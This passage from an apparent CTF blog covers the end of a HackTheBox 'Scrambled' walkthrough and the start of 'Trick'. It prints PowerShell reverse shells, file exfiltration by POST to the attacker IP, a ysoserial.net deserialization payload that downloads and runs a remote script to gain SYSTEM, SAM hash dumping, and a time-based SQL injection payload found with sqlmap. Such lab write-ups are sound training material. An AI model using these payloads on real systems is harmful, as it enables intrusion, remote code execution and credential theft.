<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# nc <span class="nt">-nlvp</span> 1338
listening on <span class="o">[</span>any] 1338 ...
</code></pre></div></div>
<p>Use the Python sctipt to create another base64 Powershell reverse shell, this time I’ve used port 1338 instead of 1337 which is still in use:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# python3 ps_revshell.py 10.10.14.198 1338
powershell <span class="nt">-e</span> JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGU<SNIP>
</code></pre></div></div>
<h2 id="shell-as-miscsvc">Shell As MiscSvc</h2>
<p>Switch to our current shell on the box and create a PS object with the new users credentials:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PS</span><span class="w"> </span><span class="nx">C:\Windows\system32</span><span class="err">></span><span class="w"> </span><span class="nv">$MiscSvcPassword</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ConvertTo-SecureString</span><span class="w"> </span><span class="s1">'ScrambledEggs9900'</span><span class="w"> </span><span class="nt">-AsPlainText</span><span class="w"> </span><span class="nt">-Force</span><span class="w">
</span><span class="n">PS</span><span class="w"> </span><span class="nx">C:\Windows\system32</span><span class="err">></span><span class="w"> </span><span class="nv">$Cred</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">System.Management.Automation.PSCredential</span><span class="p">(</span><span class="s1">'Scrm\MiscSvc'</span><span class="p">,</span><span class="w"> </span><span class="nv">$MiscSvcPassword</span><span class="p">)</span><span class="w">
</span><span class="n">PS</span><span class="w"> </span><span class="nx">C:\Windows\system32</span><span class="err">></span><span class="w"> </span><span class="nx">Invoke-Command</span><span class="w"> </span><span class="nt">-Computer</span><span class="w"> </span><span class="nx">dc1</span><span class="w"> </span><span class="nt">-ScriptBlock</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">powershell</span><span class="w"> </span><span class="nt">-e</span><span class="w"> </span><span class="nx">JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE</span><span class="err"><</span><span class="nx">SNIP</span><span class="err">></span><span class="nx">EMAbABvAHMAZQAoACkA</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="nt">-Credential</span><span class="w"> </span><span class="nv">$Cred</span><span class="w">
</span></code></pre></div></div>
<p>Now switch to our other netcat listening on port 1338 to see we’re connected as the miscsvc user:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# nc <span class="nt">-nlvp</span> 1338
listening on <span class="o">[</span>any] 1338 ...
connect to <span class="o">[</span>10.10.14.198] from <span class="o">(</span>UNKNOWN<span class="o">)</span> <span class="o">[</span>10.10.11.168] 56480
<span class="nb">whoami
</span>scrm<span class="se">\m</span>iscsvc
PS C:<span class="se">\U</span>sers<span class="se">\m</span>iscsvc<span class="se">\D</span>ocuments>
</code></pre></div></div>
<h2 id="user-flag">User Flag</h2>
<p>Let’s get the user flag before we move on:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PS</span><span class="w"> </span><span class="nx">C:\Users\miscsvc\Documents</span><span class="err">></span><span class="w"> </span><span class="nx">type</span><span class="w"> </span><span class="o">..</span><span class="nx">/desktop/user.txt</span><span class="w">
</span><span class="mi">2</span><span class="n">be5fe50f02a0b315c9673e304702ff4</span><span class="w">
</span></code></pre></div></div>
<p>After a bit of looking around I found this:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PS</span><span class="w"> </span><span class="nx">C:\</span><span class="err">></span><span class="w"> </span><span class="nx">dir</span><span class="w"> </span><span class="s2">"Shares\IT\Apps\Sales Order Client"</span><span class="w">
</span><span class="n">Directory:</span><span class="w"> </span><span class="nx">C:\Shares\IT\Apps\Sales</span><span class="w"> </span><span class="nx">Order</span><span class="w"> </span><span class="nx">Client</span><span class="w">
</span><span class="n">Mode</span><span class="w"> </span><span class="nx">LastWriteTime</span><span class="w"> </span><span class="nx">Length</span><span class="w"> </span><span class="nx">Name</span><span class="w">
</span><span class="o">----</span><span class="w"> </span><span class="o">-------------</span><span class="w"> </span><span class="o">------</span><span class="w"> </span><span class="o">----</span><span class="w">
</span><span class="nt">-a</span><span class="o">----</span><span class="w"> </span><span class="mi">05</span><span class="n">/11/2021</span><span class="w"> </span><span class="nx">20:52</span><span class="w"> </span><span class="nx">86528</span><span class="w"> </span><span class="nx">ScrambleClient.exe</span><span class="w">
</span><span class="nt">-a</span><span class="o">----</span><span class="w"> </span><span class="mi">05</span><span class="n">/11/2021</span><span class="w"> </span><span class="nx">20:52</span><span class="w"> </span><span class="nx">19456</span><span class="w"> </span><span class="nx">ScrambleLib.dll</span><span class="w">
</span></code></pre></div></div>
<p>Right back at the start we found the Sales order app was running on port 4411. Here we have found the executable and dll used on the server side. Let’s exfiltrate and have a look back on Kali. I used <a href="https://codebeta.com/data-exfiltration-uploading-from-powershell">this</a> method using PowerShell.</p>
<h2 id="data-exfiltration">Data Exfiltration</h2>
<p>Start netcat listenting and redirect the recieved data to a file:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# nc <span class="nt">-l</span> <span class="nt">-p</span> 80 <span class="o">></span> ScrambleLib.b64
</code></pre></div></div>
<p>On the box send the DLL file over to Kali:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Invoke-WebRequest</span><span class="w"> </span><span class="nt">-uri</span><span class="w"> </span><span class="nx">http://10.10.14.198/exfil.data</span><span class="w"> </span><span class="nt">-Method</span><span class="w"> </span><span class="nx">POST</span><span class="w"> </span><span class="nt">-Body</span><span class="w"> </span><span class="p">([</span><span class="n">System.Convert</span><span class="p">]::</span><span class="n">ToBase64String</span><span class="p">([</span><span class="n">System.IO.File</span><span class="p">]::</span><span class="n">ReadAllBytes</span><span class="p">(</span><span class="s2">"C:\shares\it\apps\sales order client\ScrambleLib.dll"</span><span class="p">)))</span><span class="w">
</span></code></pre></div></div>
<p>Switch back to Kali, ctrl-c the netcat listener then decode the file from base64:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# <span class="nb">tail</span> <span class="nt">-1</span> ScrambleLib.b64 | <span class="nb">base64</span> <span class="nt">-d</span> <span class="o">></span> ScrambleLib.dll
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# file ScrambleLib.dll
ScrambleLib.dll: PE32 executable <span class="o">(</span>DLL<span class="o">)</span> <span class="o">(</span>console<span class="o">)</span> Intel 80386 Mono/.Net assembly, <span class="k">for </span>MS Windows
</code></pre></div></div>
<p>We can use strings to look at the readable contents of the file:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# strings <span class="nt">-el</span> <span class="nt">-n8</span> ScrambleLib.dll
</code></pre></div></div>
<p>Even filtering for 8 characters or longer the output is quite long. These bits are interesting:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LIST_ORDERS
UPLOAD_ORDER
Getting orders from server
Splitting and parsing sales orders
sales orders in server response
Deserializing single sales order from base64:
Deserialization successful
Finished deserializing all sales orders
Uploading new order with reference
Order serialized to base64:
Upload successful
</code></pre></div></div>
<p>We see what looks like two commands <strong>LIST_ORDERS</strong> and <strong>UPLOAD_ORDER</strong> and then there’s lots of messages about serializing and deserializing orders.</p>
<h2 id="ysoserial">YSoSerial</h2>
<p>I did a HackTheBox machine a while back called <a href="https://pencer.io/ctf/ctf-htb-logforge/#java-de-serialization-attacks">LogForge</a> that focused on Log4J attacks. In that we covered object serialization using <a href="https://github.com/frohoff/ysoserial">YSoSerial</a>. HackTricks has some good info <a href="https://book.hacktricks.xyz/pentesting-web/deserialization">here</a> for the deserialization attack we want to perform. Also <a href="https://speakerdeck.com/pwntester/attacking-net-serialization">this</a> is a presentation by the creator of this Windows version which is an interesting read. Finally <a href="https://security.stackexchange.com/questions/256086/how-to-decode-ysoserial-net-payload">this</a> was what gave me the idea on what parameters we need to use for Windows.</p>
<p>Grab the Windows version of YSoSerial from <a href="https://github.com/pwntester/ysoserial.net/releases/download/v1.34/ysoserial-1.34.zip">here</a>. Unzip and then let’s test a payload by doing a simple ping just like we did on <a href="https://pencer.io/ctf/ctf-htb-logforge/#java-de-serialization-attacks">LogForge</a>:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PS</span><span class="w"> </span><span class="nx">C:\Users\Downloads\ysoserial-1.34\Release</span><span class="err">></span><span class="w"> </span><span class="o">.</span><span class="nx">/ysoserial.exe</span><span class="w"> </span><span class="nt">-f</span><span class="w"> </span><span class="nx">BinaryFormatter</span><span class="w"> </span><span class="nt">-g</span><span class="w"> </span><span class="nx">WindowsIdentity</span><span class="w"> </span><span class="nt">-o</span><span class="w"> </span><span class="nx">base64</span><span class="w"> </span><span class="nt">-c</span><span class="w"> </span><span class="s2">"ping -n 2 10.10.14.198"</span><span class="w">
</span><span class="n">AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2Vj</span><span class="w"> </span><span class="err"><</span><span class="nx">SNIP</span><span class="err">></span><span class="w"> </span><span class="nx">05MmFXUmxjajRMCw</span><span class="o">==</span><span class="w">
</span></code></pre></div></div>
<p>Take the long serialized object that’s been base64 encoded and switch to Kali where we can connect to port 4411 again and upload it:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# nc <span class="nt">-v</span> scrm.local 4411
scrm.local <span class="o">[</span>10.10.11.168] 4411 <span class="o">(</span>?<span class="o">)</span> open
SCRAMBLECORP_ORDERS_V1.0.3<span class="p">;</span>
UPLOAD_ORDER<span class="p">;</span>AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2Vj <SNIP> <span class="nv">05MmFXUmxjajRMCw</span><span class="o">==</span>
ERROR_GENERAL<span class="p">;</span>Error deserializing sales order: Exception has been thrown by the target of an invocation.
</code></pre></div></div>
<p>I’ve used the <strong>UPLOAD_ORDER</strong> command we saw when looking with Strings, then semicolon, then pasted my YoSoSerial payload. Switch to a waiting tcpdump to see our ping:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# tcpdump <span class="nt">-ni</span> tun0 icmp
tcpdump: verbose output suppressed, use <span class="nt">-v</span><span class="o">[</span>v]... <span class="k">for </span>full protocol decode
listening on tun0, link-type RAW <span class="o">(</span>Raw IP<span class="o">)</span>, snapshot length 262144 bytes
22:32:01.688887 IP 10.10.11.168 <span class="o">></span> 10.10.14.198: ICMP <span class="nb">echo </span>request, <span class="nb">id </span>1, <span class="nb">seq </span>1, length 40
22:32:01.688905 IP 10.10.14.198 <span class="o">></span> 10.10.11.168: ICMP <span class="nb">echo </span>reply, <span class="nb">id </span>1, <span class="nb">seq </span>1, length 40
22:32:02.697397 IP 10.10.11.168 <span class="o">></span> 10.10.14.198: ICMP <span class="nb">echo </span>request, <span class="nb">id </span>1, <span class="nb">seq </span>2, length 40
22:32:02.697411 IP 10.10.14.198 <span class="o">></span> 10.10.11.168: ICMP <span class="nb">echo </span>reply, <span class="nb">id </span>1, <span class="nb">seq </span>2, length 40
</code></pre></div></div>
<p>That worked as expected, so now we can do a reverse shell. I tried using the same base64 encoded PowerShell one we used earlier:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PS</span><span class="w"> </span><span class="nx">C:\Users\Downloads\ysoserial-1.34\Release</span><span class="err">></span><span class="w"> </span><span class="o">.</span><span class="nx">/ysoserial.exe</span><span class="w"> </span><span class="nt">-f</span><span class="w"> </span><span class="nx">BinaryFormatter</span><span class="w"> </span><span class="nt">-g</span><span class="w"> </span><span class="nx">WindowsIdentity</span><span class="w"> </span><span class="nt">-o</span><span class="w"> </span><span class="nx">base64</span><span class="w"> </span><span class="nt">-c</span><span class="w"> </span><span class="s2">"powershell -e JABjAGwAaQBlA <SNIP> AZQAoACkA"</span><span class="w">
</span></code></pre></div></div>
<p>I couldn’t get it working so back to HackTricks and I used the first one <a href="https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters#download-and-execute">here</a>. Which is put our base64 encoded reverse shell from earlier in to a file and then pull that over to the box.</p>
<p>On Kali:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# <span class="nb">cat </span>pencer_shell.ps1
powershell <span class="nt">-e</span> JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8 <SNIP> AAsACAAJABiAHkAdA
</code></pre></div></div>
<p>Back on Windows:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PS</span><span class="w"> </span><span class="nx">C:\Users\Downloads\ysoserial-1.34\Release</span><span class="err">></span><span class="w"> </span><span class="o">.</span><span class="nx">/ysoserial.exe</span><span class="w"> </span><span class="nt">-f</span><span class="w"> </span><span class="nx">BinaryFormatter</span><span class="w"> </span><span class="nt">-g</span><span class="w"> </span><span class="nx">WindowsIdentity</span><span class="w"> </span><span class="nt">-o</span><span class="w"> </span><span class="nx">base64</span><span class="w"> </span><span class="nt">-c</span><span class="w"> </span><span class="s2">"powershell.exe Invoke-Command -ScriptBlock {Invoke-Expression(New-Object Net.WebClient).downloadString('http://10.10.14.198/pencer_shell.ps1')}"</span><span class="w">
</span><span class="n">AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJ</span><span class="err"><</span><span class="nx">SNIP</span><span class="err">></span><span class="w"> </span><span class="nx">SaFVISnZkbWxrWlhJK0N3PT0L</span><span class="w">
</span></code></pre></div></div>
<p>Now back to Kali and start a web server so we can pull the pencer_shell.ps1 file across to the box:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# python3 <span class="nt">-m</span> http.server 80
Serving HTTP on 0.0.0.0 port 80 <span class="o">(</span>http://0.0.0.0:80/<span class="o">)</span> ...
</code></pre></div></div>
<p>In another terminal start netcat listening:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# nc <span class="nt">-nlvp</span> 1337
listening on <span class="o">[</span>any] 1337 ...
</code></pre></div></div>
<p>In another terminal connect to the sales app and send our payload:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# nc <span class="nt">-v</span> scrm.local 4411
scrm.local <span class="o">[</span>10.10.11.168] 4411 <span class="o">(</span>?<span class="o">)</span> open
SCRAMBLECORP_ORDERS_V1.0.3<span class="p">;</span>
UPLOAD_ORDER<span class="p">;</span>AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2Vj <SNIP> VhSaFVISnZkbWxrWlhJK0N3PT0L
ERROR_GENERAL<span class="p">;</span>Error deserializing sales order: Exception has been thrown by the target of an invocation.
</code></pre></div></div>
<h2 id="shell-as-administrator">Shell As Administrator</h2>
<p>Switch back to our netcat to see we’re connected as NT SYSTEM:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# nc <span class="nt">-nlvp</span> 1337
listening on <span class="o">[</span>any] 1337 ...
connect to <span class="o">[</span>10.10.14.198] from <span class="o">(</span>UNKNOWN<span class="o">)</span> <span class="o">[</span>10.10.11.168] 57419
<span class="nb">whoami
</span>nt authority<span class="se">\s</span>ystem
PS C:<span class="se">\W</span>indows<span class="se">\s</span>ystem32>
</code></pre></div></div>
<h2 id="root-flag">Root Flag</h2>
<p>Grab the root flag to finish the box:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PS</span><span class="w"> </span><span class="nx">C:\Windows\system32</span><span class="err">></span><span class="w"> </span><span class="nx">type</span><span class="w"> </span><span class="nx">c:\users\administrator\desktop\root.txt</span><span class="w">
</span><span class="mi">7968</span><span class="n">cb704022fe52d68181ce56e77ade</span><span class="w">
</span></code></pre></div></div>
<p>Grab the hashes for extra fun using SecretsDump:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# impacket-secretsdump <span class="nt">-sam</span> sam <span class="nt">-system</span> system LOCAL
Impacket v0.10.1.dev1+20220708.213759.8b1a99f7 - Copyright 2022 SecureAuth Corporation
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Target system bootKey: 0x33d8cbadba9e3f89bd60e5bfe64743e3
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Dumping <span class="nb">local </span>SAM hashes <span class="o">(</span>uid:rid:lmhash:nthash<span class="o">)</span>
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ebb16eb3b0b1d0bea029cab7d18e534c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Cleaning up...
</code></pre></div></div>
<p>I enjoyed this box. It gave plenty of opportunities to use our investigation skills. Playing with Impacket and Kerberos is always fun too.</p>
<p>Another box done. See you next time.</p>{"name"=>nil, "avatar"=>"/assets/images/BlackUnicorn.png", "bio"=>"Hacking. A lot of hacking. Mostly CTFs, but then other stuff too when I get round to it.", "links"=>[{"label"=>"Website", "icon"=>"fas fa-fw fa-link", "url"=>"https://pencer.io"}, {"label"=>"Twitter", "icon"=>"fab fa-fw fa-twitter-square", "url"=>"https://twitter.com/pencer_io"}, {"label"=>"GitHub", "icon"=>"fab fa-fw fa-github", "url"=>"https://github.com/pencer-io/"}]}Scrambled is a medium level machine by VbScrub on HackTheBox. It’s A Windows box that focuses on using different Impacket scripts to progress.Walk-through of Trick from HackTheBox2023-01-22T00:00:00+00:002023-01-22T00:00:00+00:00https://pencer.io/ctf/ctf-htb-trick<p><a href="https://www.hackthebox.com/home/machines/profile/477">Trick</a> is an easy level machine by <a href="https://www.hackthebox.com/home/users/profile/184611">Geiseric</a> on <a href="https://www.hackthebox.com/home">HackTheBox</a>. This Linux box focuses on web app and OS enumeration, and using SQLMap to dump data.</p>
<!--more-->
<h2 id="machine-information">Machine Information</h2>
<p><img src="/assets/images/2022-07-04-22-43-40.png" alt="trick" /></p>
<p>We start with DNS enumeration to find an entry point. From there we use SQLMap to find user credentials, and further enumeration finds another sub-site. This gives us access to a web page which is vulnerable to LFI and we use it to get private ssh keys. The path from user to root is exploiting privleges our user has over the Fail2ban service.</p>
<table>
<thead>
<tr>
<th>Details</th>
<th> </th>
</tr>
</thead>
<tbody>
<tr>
<td>Hosting Site</td>
<td><a href="https://www.hackthebox.eu">HackTheBox</a></td>
</tr>
<tr>
<td>Link To Machine</td>
<td><a href="https://www.hackthebox.com/home/machines/profile/477">HTB - Easy - Trick</a></td>
</tr>
<tr>
<td>Machine Release Date</td>
<td>18th June 2022</td>
</tr>
<tr>
<td>Date I Completed It</td>
<td>6th July 2022</td>
</tr>
<tr>
<td>Distribution Used</td>
<td>Kali 2022.1 – <a href="https://www.kali.org/blog/kali-linux-2022-1-release/">Release Info</a></td>
</tr>
</tbody>
</table>
<h2 id="initial-recon">Initial Recon</h2>
<p>As always let’s start with Nmap:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb]
└─# <span class="nv">ports</span><span class="o">=</span><span class="si">$(</span>nmap <span class="nt">-p-</span> <span class="nt">--min-rate</span><span class="o">=</span>1000 <span class="nt">-T4</span> 10.10.11.166 | <span class="nb">grep</span> ^[0-9] | <span class="nb">cut</span> <span class="nt">-d</span> <span class="s1">'/'</span> <span class="nt">-f</span> 1 | <span class="nb">tr</span> <span class="s1">'\n'</span> <span class="s1">','</span> | <span class="nb">sed </span>s/,<span class="nv">$/</span>/<span class="si">)</span>
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb]
└─# nmap <span class="nt">-p</span><span class="nv">$ports</span> <span class="nt">-sC</span> <span class="nt">-sV</span> <span class="nt">-oA</span> trick 10.10.11.166
Starting Nmap 7.92 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2022-07-04 22:46 BST
Nmap scan report <span class="k">for </span>10.10.11.166
Host is up <span class="o">(</span>0.024s latency<span class="o">)</span><span class="nb">.</span>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 <span class="o">(</span>protocol 2.0<span class="o">)</span>
| ssh-hostkey:
| 2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d <span class="o">(</span>RSA<span class="o">)</span>
| 256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 <span class="o">(</span>ECDSA<span class="o">)</span>
|_ 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 <span class="o">(</span>ED25519<span class="o">)</span>
25/tcp open smtp Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 <span class="o">(</span>Debian Linux<span class="o">)</span>
| dns-nsid:
|_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open http nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: Host: debian.localdomain<span class="p">;</span> OS: Linux<span class="p">;</span> CPE: cpe:/o:linux:linux_kernel
Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>48.94 seconds
</code></pre></div></div>
<p>We have a few open ports, looking at the website on port 80 we find nothing of interest:</p>
<p><img src="/assets/images/2022-07-04-22-49-50.png" alt="trick-website" /></p>
<h2 id="dig">Dig</h2>
<p>Move on to DNS on port 53. We can use DIG like we did on an old box called <a href="https://www.hackthebox.com/home/machines/profile/26">Bank</a>:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb]
└─# dig @10.10.11.166 <span class="nt">-x</span> 10.10.11.166
<span class="p">;</span> <<<span class="o">>></span> DiG 9.18.0-2-Debian <<<span class="o">>></span> @10.10.11.166 <span class="nt">-x</span> 10.10.11.166
<span class="p">;</span> <span class="o">(</span>1 server found<span class="o">)</span>
<span class="p">;;</span> global options: +cmd
<span class="p">;;</span> Got answer:
<span class="p">;;</span> ->>HEADER<span class="o"><<-</span> <span class="no">opcode</span><span class="sh">: QUERY, status: NOERROR, id: 63734
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 3
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 49bc856da71190a485707c7d62c3612fb1e2522fe9ed8b2d (good)
;; QUESTION SECTION:
;166.11.10.10.in-addr.arpa. IN PTR
;; ANSWER SECTION:
166.11.10.10.in-addr.arpa. 604800 IN PTR trick.htb.
;; AUTHORITY SECTION:
11.10.10.in-addr.arpa. 604800 IN NS trick.htb.
;; ADDITIONAL SECTION:
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
;; Query time: 24 msec
;; SERVER: 10.10.11.166#53(10.10.11.166) (UDP)
;; WHEN: Mon Jul 04 22:52:46 BST 2022
;; MSG SIZE rcvd: 163
</span></code></pre></div></div>
<p>This gives us a DNS entry of <strong>trick.htb</strong>. We can use a zone transfer (AXFR) to get more information. <a href="https://www.acunetix.com/blog/articles/dns-zone-transfers-axfr/">This</a> is a good article if you’re interested in learning more. Let’s have a look:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb]
└─# dig axfr trick.htb @10.10.11.166
<span class="p">;</span> <<<span class="o">>></span> DiG 9.18.0-2-Debian <<<span class="o">>></span> axfr trick.htb @10.10.11.166
<span class="p">;;</span> global options: +cmd
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
<span class="p">;;</span> Query <span class="nb">time</span>: 20 msec
<span class="p">;;</span> SERVER: 10.10.11.166#53<span class="o">(</span>10.10.11.166<span class="o">)</span> <span class="o">(</span>TCP<span class="o">)</span>
<span class="p">;;</span> WHEN: Mon Jul 04 22:54:23 BST 2022
<span class="p">;;</span> XFR size: 6 records <span class="o">(</span>messages 1, bytes 231<span class="o">)</span>
</code></pre></div></div>
<p>We have two more DNS names, let’s add to our hosts file and have a look:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb]
└─# <span class="nb">echo</span> <span class="s2">"10.10.11.166 trick.htb root.trick.htb preprod-payroll.trick.htb"</span> <span class="o">>></span> /etc/hosts
</code></pre></div></div>
<p>Now we find a login page on the payroll site:</p>
<p><img src="/assets/images/2022-07-04-22-58-48.png" alt="trick-payroll" /></p>
<p>I put some fake credentials in and intercepted it with Burp:</p>
<p><img src="/assets/images/2022-07-05-21-01-28.png" alt="trick-burp" /></p>
<h2 id="sqlmap">SQLMap</h2>
<p>Right click on the intercepted requested and save it to a file so we can use that with SQLmap:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/trick]
└─# sqlmap <span class="nt">-r</span> trick-login.req
<span class="o">[</span><span class="k">*</span><span class="o">]</span> starting @ 17:16:31 /2022-07-05/
<SNIP>
sqlmap identified the following injection point<span class="o">(</span>s<span class="o">)</span> with a total of 210 HTTP<span class="o">(</span>s<span class="o">)</span> requests:
<span class="nt">---</span>
Parameter: username <span class="o">(</span>POST<span class="o">)</span>
Type: time-based blind
Title: MySQL <span class="o">>=</span> 5.0.12 AND time-based blind <span class="o">(</span>query SLEEP<span class="o">)</span>
Payload: <span class="nv">username</span><span class="o">=</span>pencer<span class="s1">' AND (SELECT 3955 FROM (SELECT(SLEEP(5)))MmMe) AND '</span>vVdo<span class="s1">'='</span>vVdo&password<span class="o">=</span>pencer
<span class="nt">---</span>
<span class="o">[</span>17:17:37] <span class="o">[</span>INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.14.2
back-end DBMS: MySQL <span class="o">>=</span> 5.0.12 <span class="o">(</span>MariaDB fork<span class="o">)</span>
<span class="o">[</span>17:17:44] <span class="o">[</span>INFO] fetched data logged to text files under <span class="s1">'/root/.local/share/sqlmap/output/preprod-payroll.trick.htb'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> ending @ 17:17:44 /2022-07-05/
</code></pre></div></div>
<p>We have time based SQLi just like we did on the <a href="https://pencer.io/ctf/ctf-htb-streamio/">StreamIO</a> box. Let’s look through databases, tables, and then dump user credentials:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/trick]
└─# sqlmap <span class="nt">-r</span> trick-login.req <span class="nt">--dbs</span> <span class="nt">--batch</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> starting @ 17:19:13 /2022-07-05/
<span class="o">[</span>17:19:28] <span class="o">[</span>INFO] retrieved:
<span class="o">[</span>17:19:33] <span class="o">[</span>INFO] adjusting <span class="nb">time </span>delay to 1 second due to good response <span class="nb">times
</span>information_schema
<span class="o">[</span>17:20:34] <span class="o">[</span>INFO] retrieved: payroll_db
available databases <span class="o">[</span>2]:
<span class="o">[</span><span class="k">*</span><span class="o">]</span> information_schema
<span class="o">[</span><span class="k">*</span><span class="o">]</span> payroll_db
<span class="o">[</span><span class="k">*</span><span class="o">]</span> ending @ 17:21:14 /2022-07-05/
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/trick]
└─# sqlmap <span class="nt">-r</span> trick-login.req <span class="nt">--tables</span> <span class="nt">-D</span> payroll_db <span class="nt">--batch</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> starting @ 17:21:34 /2022-07-05/
